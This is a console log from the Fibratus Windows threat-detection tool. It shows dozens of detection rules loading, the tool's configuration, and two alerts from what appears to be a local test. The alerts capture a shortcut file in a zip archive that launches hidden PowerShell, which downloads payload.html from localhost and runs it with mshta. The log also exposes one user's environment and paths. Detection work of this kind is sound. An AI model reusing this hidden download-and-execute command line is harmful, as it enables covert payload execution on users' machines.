C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_suspicious_process_execution_from_archive_via_shortuct_file.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-10T17:38:40+01:00 level=info msg=bootstrapping with pid 17792. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T17:38:40+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false to=>[] port=>25 use-template=>true content-type=>text/html] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-dns=>false enable-thread=>true flush-interval=>1s stack-enrichment=>true buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-image=>true max-buffers=>36 enable-net=>true min-buffers=>16 enable-mem=>false enable-vamap=>true enable-handle=>false enable-audit-api=>true enable-threadpool=>false enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 max-size=>100 level=>info formatter=>text log-stdout=>true] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ enabled=>false healthcheck-timeout=>5s trace-log=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus template-name=>fibratus healthcheck=>true bulk-workers=>1 healthcheck-interval=>10s flush-period=>1s sniff=>false gzip-compression=>false timeout=>5s] eventlog=>[ enabled=>false level=>info] http=>[ serializer=>json endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s enabled=>false method=>POST] amqp=>[ passive=>false url=>amqp://localhost:5672 durable=>false exchange-type=>topic enabled=>false exchange=>fibratus timeout=>5s tls-insecure-skip-verify=>false routing-key=>fibratus delivery-mode=>transient vhost=>/]] + pe ............................. [ enabled=>false read-sections=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-mmaps=>false scan-timeout=>10s excluded-procs=>[] enabled=>false fastscan=>true skip-allocs=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-12-10T17:38:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T17:38:44+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T17:39:01+01:00 level=info msg=sending alert: [Suspicious process execution from archive via shortuct file]. Text: Event(s): + Seq: 1729525 + Pid: 8204 + Tid: 18700 + Type: CreateFile + CPU: 1 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-12-10 17:38:56.2792143 +0100 CET + Params: attributes➜ ARCHIVE, create_disposition➜ CREATE, create_options➜ SEQUENTIAL_ONLY|SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE, file_object➜ ffffc9065323abe0, file_path➜ C:\Users\nedo\AppData\Local\Temp\09f08f8c-590d-4ec5-9d1f-6be4ba32c92b_test.zip.92b\test.lnk, irp➜ ffffc906579e7138, share_mask➜ READ|WRITE, status➜ Success, tid➜ 18700, type➜ Directory + Metadata: rule.name: Suspicious process execution from archive via shortuct file, tactic.id: TA0002, tactic.name: Execution, tactic.ref: https://attack.mitre.org/tactics/TA0002/, rule.seq.link: 13114482369379696640 + + Pid: 8204 + Ppid: 1672 + Name: explorer.exe + Cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\Explorer.EXE + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\Explorer.EXE] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8204_1262719628:1 EFC_8204_1592913036:1 EFC_8204_2283032206:1 EFC_8204_2775293581:1 EFC_8204_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 1733460 + Pid: 8204 + Tid: 18700 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-10 17:38:56.4247525 +0100 CET + Params: cmdline➜ "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -Command "Start-Process -WindowStyle Hidden mshta.exe $env:TEMP\payload.html"; Invoke-WebRequest -Uri 'http://localhost' -OutFile $env:TEMP\payload.html, directory_table_base➜ 4182b2000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe, exit_status➜ Success, flags➜ , kproc➜ ffffc906565130c0, name➜ powershell.exe, pid➜ 4908, ppid➜ 8204, real_ppid➜ 8204, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-10 17:38:56.4246696 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.seq.link: 13114482369379696640, rule.name: Suspicious process execution from archive via shortuct file, tactic.ref: https://attack.mitre.org/tactics/TA0002/, tactic.id: TA0002, tactic.name: Execution + + Pid: 8204 + Ppid: 1672 + Name: explorer.exe + Cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\Explorer.EXE + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\Explorer.EXE] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8204_1262719628:1 EFC_8204_1592913036:1 EFC_8204_2283032206:1 EFC_8204_2775293581:1 EFC_8204_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-10T17:39:27+01:00 level=info msg=sending alert: [Suspicious HTML Application script execution]. Text: Suspicious HTML Application script execution by mshta process with command line arguments "C:\WINDOWS\system32\mshta.exe" C:\Users\nedo\AppData\Local\Temp\payload.html + Event(s): + Seq: 1850133 + Pid: 4908 + Tid: 6304 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-10 17:39:04.1850923 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\mshta.exe" C:\Users\nedo\AppData\Local\Temp\payload.html , directory_table_base➜ 2c6a26000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\mshta.exe, exit_status➜ Success, flags➜ , kproc➜ ffffc90648ebc080, name➜ mshta.exe, pid➜ 7148, ppid➜ 4908, real_ppid➜ 4908, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-10 17:39:04.1850272 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1218/005/, rule.name: Suspicious HTML Application script execution, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, subtechnique.name: Mshta, technique.ref: https://attack.mitre.org/techniques/T1218/, subtechnique.id: T1218.005, tactic.id: TA0005, technique.id: T1218, technique.name: System Binary Proxy Execution + + Pid: 4908 + Ppid: 8204 + Name: powershell.exe + Parent name: explorer.exe + Cmdline: "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -Command "Start-Process -WindowStyle Hidden mshta.exe $env:TEMP\payload.html"; Invoke-WebRequest -Uri 'http://localhost' -OutFile $env:TEMP\payload.html + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -Command "Start-Process -WindowStyle Hidden mshta.exe $env:TEMP\payload.html"; Invoke-WebRequest -Uri 'http://localhost' -OutFile $env:TEMP\payload.html] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8204_1262719628:1 EFC_8204_1592913036:1 EFC_8204_2283032206:1 EFC_8204_2775293581:1 EFC_8204_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp 